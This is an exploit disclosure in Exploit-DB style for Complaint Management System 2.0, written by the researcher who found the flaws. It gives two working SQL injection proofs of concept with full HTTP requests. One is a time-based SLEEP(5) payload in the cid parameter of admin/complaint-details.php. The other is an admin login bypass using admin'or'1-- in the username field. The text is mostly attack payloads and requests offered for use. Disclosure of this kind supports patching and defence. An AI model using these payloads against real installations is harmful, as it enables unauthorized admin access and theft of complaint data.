Complaint Management System 2.0 SQL Injection Vulnerability

# Exploit Title: Complaint-Management-System Multiple SQL Injection Vulnerabilities
# Exploit Author: Diyar Saadi
# Vendor Homepage: https://phpgurukul.com/complaint-management-sytem/
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=7259
# Version: V 2.0
# Tested on: Windows 11 + XAMPP 8.0.30

1- SQL Injection

## Description ##

Multiple SQL injection vulnerabilities have been identified in the Complaint Management System V 2.0. These vulnerabilities allow an attacker to manipulate SQL queries through user-controlled input, potentially leading to unauthorized access or data disclosure , The vulnerable code is in the `complaint-details.php ` file within the `admin` directory. The `cid` parameter .

# Proof Of Ceoncept ##

--> During forward the payload the response time is expand at least 5 second .
--> Payload: 1' AND SLEEP(5) --

Request :

http
GET /admin/complaint-details.php?cid=1%27%20AND%20SLEEP(5)%20-- HTTP/1.1
Host: localhost
Cookie: PHPSESSID=h08ab7d2umqg507c1392g0opmp
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

# SQL Injection Vulnerability in User Authentications #

## Proof Of Concept ##

--> Attackers can bypass admin panel by forward the payload .
--> Payload : admin'or'1-- from username field and any letter like pwn from password field then click sign in .
--> Enjoy :x

Request :

POST /admin/index.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=h08ab7d2umqg507c1392g0opmp
Content-Length: 46
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://localhost/admin/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
username=admin%27or%271--&password=pwn&submit=

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